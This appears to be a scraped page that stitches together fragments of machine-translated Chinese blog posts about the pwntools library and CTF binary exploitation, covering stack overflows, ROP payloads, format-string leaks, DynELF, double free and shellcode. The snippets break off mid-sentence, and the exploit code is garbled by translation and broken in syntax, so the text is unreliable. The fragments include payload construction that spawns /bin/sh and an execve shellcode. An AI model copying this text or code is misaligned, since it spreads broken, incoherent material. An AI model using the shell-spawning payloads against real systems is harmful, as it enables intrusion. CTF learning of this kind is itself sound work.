pwntools

Pwntools is a CTF framework and exploit development library, developed in Python and designed by rapid, designed to allow users to write exploit quickly and easily.Pwntools has the best support for Ubuntu 12.04 and 14.04, but most of the features also support Debian, Arch, FreeBSD, OSX, and so on.Ensure that system libraries such as Binutils, Capstone, Python development headers are installed before installation-----------------------This article will

Before mainly using the Zio Library, the understanding of Pwntools is limited to dynelf, Zio can replace Pwntools. Later found that Pwntools has a lot of high-level usage has not heard, this time to learn how to use, I hope that in the future exp writing can provide efficiency.Pwntools's official website is as follows: http://pwntools.com/The installation method

') print "system_addr=" + Hex (system_addr) #write System /bin/shpayload2 = "a" *56payload2 + = P64 (0x400d96) + p64 (0) +p64 (0) + P64 (1) + P64 (got_read) + P64 (+) + P (BSS_ADDR) + p64 (0) + P64 (0x400D80) Payload2 + = "\x00" *56payload2 + = P64 (call_get_name_func) p.sendline (payload2) p.send (P64 (SYSTEM_ADDR)) P.send ("/ Bin/sh\0 ") p.recvuntil (' Name: ') # Call systempayload3 =" a "*56payload3 + = P64 (0x400d96) + p64 (0) +p64 (0) + P64 (1) + P64 (bss_a DDR) + P64 (0) + p64 (0) + p64 (

(syscall) # p64对整数进行打包sh.send(payload)sh.interactive() # 直接反弹shell进行交互Beginner, so say some pwntools usage, while doing while learning it, this time mainly involved in these several functions:remote：主要用作远程和服务器交互，返回一个类似连接对象send：发送数据，通过连接对象调用interactive：反弹shellp64：将数字转为字符串（p64/u64 p32/u32）Then get SHELL,CAT flag:2, [Xman]level1This is similar to the previous question, but also a simple stack overflow, but you need to write your own shellcode to execut

breakpoint F2, run the program F9, step through the function F8, step into the function F7, run to the selected location F4 and so on. The main window used in debug mode is the assembly window IDA View-eip, register window general registers, Stack window stack view, Memory window hex view, System Log window Output window, etc.Cut back to Kali, and we'll see that as the program runs, the shell window running the debug server will show the new contentWhen a program in Ida executes call ___isoc99

and patternpwd = STR (u32 (Io. recvuntil ('|', drop = true) Io. sendlineafter (":", PWD) Io. interactive () Io. close () Running effect: Exp2: Modify Random Number After a brief understanding of fmtstr, we know that the pwntools module is still so cool. Here we will analyze and understand this exp. # Expfrom pwn import * context from veritas501. log_level = 'debug' Cn = process ('. /crack ') p_pwd = 0x0804a048fmt_len = 10cn. recv () Pay = fmtstr_p

0x0 Introduction PWN, the middle finger in the security field is the shell of the target host by means of binary/system calls. Although the web system in the Internet occupies a relatively large amount of weight, but with the mobile end, IoT gradually popular, the traditional buffer overflow once again have use place 0x01 工欲善其事, its prerequisite The tools commonly used for PWN under Linux are: necessary for Gdb:linux debugging Gdb-peda:gdb convenient debugging tools, similar tools have Gef,gdbin

Introduction to Linux under PWN from getting started to abandoning 0x0PWN, in the security realm, is the shell that obtains the target host by means of binary/system call.Although the web system in the Internet occupies a relatively large component, but with the mobile side, the gradual popularity of the IoT, the traditional buffer overflow once again have authorizing place0x01 工欲善其事, its prerequisiteThe tools commonly used in PWN under Linux are: Gdb:linux necessary in the commissionin

08048000 later, interested can experiment with their own.Since the string contains non-uppercase characters, we have no way to input directly, this time we use Pwntools+ida additional way to debug.We succeeded in leaking out the contents of the address 0x08048001.After just testing, the payload that we use to divulge the addresses we specify should still be understandable to the reader. Since our input ontology happens to read the sixth parameter of

0x00 Introduction In Getting started with the C language, we all know a common sense: the memory that is dynamically requested via malloc () is released via Free (), and what happens if the heap memory is freed after the program is improperly designed. This seems like a stupid operation, but double free is a very common binary vulnerability in modern software. I will use an example to illustrate the possible hazards of double free. This example was once a 0CTF game. CTF competition It is one

no libc, the third method is not good enough, but this is an old routine.Use Pwntools's dynelf to reveal the memory address of the system, and then call the Read function to write "/bin/sh" in the. BSS section, and then call system.Tell me more about how to use the Dynelf module, which is the basic template: p = process(‘./xxx‘) def leak(address): #各种预处理 payload = "xxxxxxxx" + address + "xxxxxxxx" p.send(payload) #各种处理 data = p.recv(4) log.debug("%#x => %s

$0x6e69622f\n\t "?" MOV%esp,%ebx\n\t "?" XOR%ecx,%ecx\n\t "?" MOV $0x31313131,%eax\n\t "?" Sub $0x31313126,%eax\n\t "?" Push%eax\n\t "?" Pop%eax\n\t "?" Cdq\n\t "?" int $0x80\n\t "?);? return 0;}Of course, I was also familiar with the simplest use of pwntools:?From PWN Import *Import timeContext (arch= ' i386 ', os= ' Linux ')?#elf =elf ('./shellcode ')#libc =elf (' libc.so ')?P=process ('./shellcode ')#p =remote (' url ', port)??Time.sleep (30)Print

./setup.shAfter the installation. Install Pwntools, unnecessary, but definitely write exp artifact bash $ sudo pip install pwntoolsTo install QEMU:sudo apt-get install qemu-userSimulate the arm/mips environment with QEMU for debuggingTo install a shared library:At this point, you can already run a static-linked arm/mips binary, such as:However, you cannot run a binary that is dynamically linked, such as:This requires us to install the co

, obtaining their binary representations as if they were stored from a C application.The cTYPES module is usually a bridge between the Python assembly and the C language library and does not require any Python wrappers to be written. With the cTYPES module, you can use any C language library and its output functions:The structure type mentioned above is primarily used for the interaction of the C language library, passing through or fetching the structure during a function call.4Vulnerability de